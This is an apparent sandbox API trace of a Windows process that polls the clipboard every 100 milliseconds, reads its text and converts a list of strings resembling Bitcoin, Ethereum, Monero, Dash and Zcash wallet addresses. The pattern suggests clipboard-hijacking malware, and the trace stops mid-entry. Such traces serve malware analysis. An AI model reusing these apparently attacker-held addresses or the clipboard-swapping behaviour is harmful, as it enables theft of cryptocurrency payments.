lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0051.768] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0051.768] Sleep (dwMilliseconds=0x64) [0051.887] GetOpenClipboardWindow () returned 0x0 [0051.887] OpenClipboard (hWndNewOwner=0x0) returned 1 [0051.887] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0051.887] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0051.887] GlobalSize (hMem=0x6069b8) returned 0x42 [0051.887] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0051.888] GlobalUnlock (hMem=0x6069b8) returned 1 [0051.888] CloseClipboard () returned 1 [0051.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.889] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0051.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0051.892] Sleep (dwMilliseconds=0x64) [0051.999] GetOpenClipboardWindow () returned 0x0 [0051.999] OpenClipboard (hWndNewOwner=0x0) returned 1 [0051.999] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0051.999] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0051.999] GlobalSize (hMem=0x6069b8) returned 0x42 [0051.999] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0051.999] GlobalUnlock (hMem=0x6069b8) returned 1 [0051.999] CloseClipboard () returned 1 [0051.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 